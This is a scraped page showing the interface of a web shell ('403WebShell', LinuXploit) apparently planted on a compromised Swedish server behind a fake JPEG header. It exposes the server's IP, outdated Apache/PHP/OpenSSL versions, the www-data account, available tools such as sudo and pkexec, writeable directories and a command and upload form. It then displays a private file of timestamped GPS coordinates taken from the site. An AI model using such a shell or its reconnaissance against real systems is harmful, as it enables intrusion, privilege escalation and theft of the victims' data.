????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.191.17.175
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/RTA_MAP/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/RTA_MAP/data/DAT_0027_A1.cor
1	2018-09-05	11:09:43	58.35504329333	N	15.11280934500	E	128.732	M	1
2	2018-09-05	11:09:48	58.35503978500	N	15.11279936667	E	123.540	M	1
3	2018-09-05	11:09:48	58.35503562833	N	15.11278616500	E	122.761	M	1
4	2018-09-05	11:09:49	58.35503165667	N	15.11278023333	E	122.667	M	1
5	2018-09-05	11:09:49	58.35503004333	N	15.11277502333	E	121.786	M	1
53	2018-09-05	11:10:01	58.35537163667	N	15.11285148833	E	333.782	M	1
54	2018-09-05	11:10:02	58.35482540333	N	15.11253285167	E	101.254	M	1
55	2018-09-05	11:10:02	58.35481429333	N	15.11252226333	E	96.768	M	1
56	2018-09-05	11:10:03	58.35480835833	N	15.11251985667	E	96.918	M	1
57	2018-09-05	11:10:03	58.35480649500	N	15.11251679833	E	100.129	M	1
64	2018-09-05	11:10:05	58.35477473167	N	15.11248892167	E	103.852	M	1
66	2018-09-05	11:10:05	58.35479995500	N	15.11249064000	E	103.588	M	1
67	2018-09-05	11:10:06	58.35478021667	N	15.11248536500	E	109.055	M	1
68	2018-09-05	11:10:06	58.35477207167	N	15.11248013333	E	110.201	M	1
69	2018-09-05	11:10:06	58.35475995667	N	15.11247603000	E	110.849	M	1
70	2018-09-05	11:10:06	58.35475707167	N	15.11247686500	E	109.983	M	1
71	2018-09-05	11:10:07	58.35475696333	N	15.11247742167	E	109.733	M	1
72	2018-09-05	11:10:07	58.35505503833	N	15.11267053833	E	206.260	M	1
73	2018-09-05	11:10:07	58.35483790000	N	15.11253509000	E	132.516	M	1
75	2018-09-05	11:10:08	58.35478985167	N	15.11251295500	E	119.956	M	1
76	2018-09-05	11:10:08	58.35479277667	N	15.11251982667	E	124.271	M	1
78	2018-09-05	11:10:08	58.35476569000	N	15.11259570833	E	142.392	M	1
79	2018-09-05	11:10:08	58.35478994667	N	15.11252287667	E	124.098	M	1
80	2018-09-05	11:10:09	58.35478388167	N	15.11252460667	E	125.028	M	1
81	2018-09-05	11:10:09	58.35477324333	N	15.11251940833	E	120.913	M	1
82	2018-09-05	11:10:09	58.35478883000	N	15.11253120833	E	125.936	M	1
83	2018-09-05	11:10:09	58.35478061000	N	15.11253013667	E	124.665	M	1
84	2018-09-05	11:10:10	58.35470457000	N	15.11248598500	E	100.152	M	1
86	2018-09-05	11:10:10	58.35469962833	N	15.11248798000	E	100.491	M	1
87	2018-09-05	11:10:11	58.35470052000	N	15.11248772667	E	99.842	M	1
88	2018-09-05	11:10:11	58.35469351833	N	15.11248799500	E	100.066	M	1
89	2018-09-05	11:10:12	58.35467441500	N	15.11248685167	E	104.167	M	1
91	2018-09-05	11:10:12	58.35527291333	N	15.11284249000	E	370.145	M	1
92	2018-09-05	11:10:13	58.35491407167	N	15.11263240167	E	223.499	M	1
93	2018-09-05	11:10:13	58.35472466000	N	15.11252324333	E	145.502	M	1
94	2018-09-05	11:10:13	58.35468036667	N	15.11250137833	E	128.940	M	1
96	2018-09-05	11:10:14	58.35467317333	N	15.11249917667	E	127.635	M	1
97	2018-09-05	11:10:14	58.35466946000	N	15.11250225833	E	128.661	M	1
98	2018-09-05	11:10:14	58.35466304833	N	15.11250459833	E	127.449	M	1
99	2018-09-05	11:10:15	58.35465801333	N	15.11250174667	E	128.860	M	1
100	2018-09-05	11:10:15	58.35465288833	N	15.11250387500	E	126.825	M	1
101	2018-09-05	11:10:15	58.35465234333	N	15.11250766333	E	126.532	M	1
102	2018-09-05	11:10:16	58.35464632667	N	15.11251220667	E	127.680	M	1
103	2018-09-05	11:10:16	58.35464254667	N	15.11251464500	E	127.132	M	1
105	2018-09-05	11:10:17	58.35463452833	N	15.11251362500	E	124.048	M	1
106	2018-09-05	11:10:17	58.35463539833	N	15.11251485167	E	124.612	M	1
108	2018-09-05	11:10:17	58.35462147667	N	15.11251396000	E	122.007	M	1
110	2018-09-05	11:10:18	58.35377924333	N	15.11198909000	E	-172.688	M	1
112	2018-09-05	11:10:18	58.35446946000	N	15.11242454500	E	73.452	M	1
113	2018-09-05	11:10:19	58.35455744167	N	15.11248384333	E	105.516	M	1
114	2018-09-05	11:10:19	58.35462530000	N	15.11253136833	E	130.812	M	1
115	2018-09-05	11:10:19	58.35461398333	N	15.11252668833	E	128.872	M	1
120	2018-09-05	11:10:20	58.35443471333	N	15.11207501500	E	-23.936	M	1
121	2018-09-05	11:10:21	58.35451919667	N	15.11235302500	E	61.962	M	1
123	2018-09-05	11:10:21	58.35455929167	N	15.11253775333	E	115.557	M	1
124	2018-09-05	11:10:22	58.35455997667	N	15.11253880000	E	116.391	M	1
125	2018-09-05	11:10:22	58.35455535667	N	15.11254292167	E	115.680	M	1

Youez - 2016 - github.com/yon3zu
LinuXploit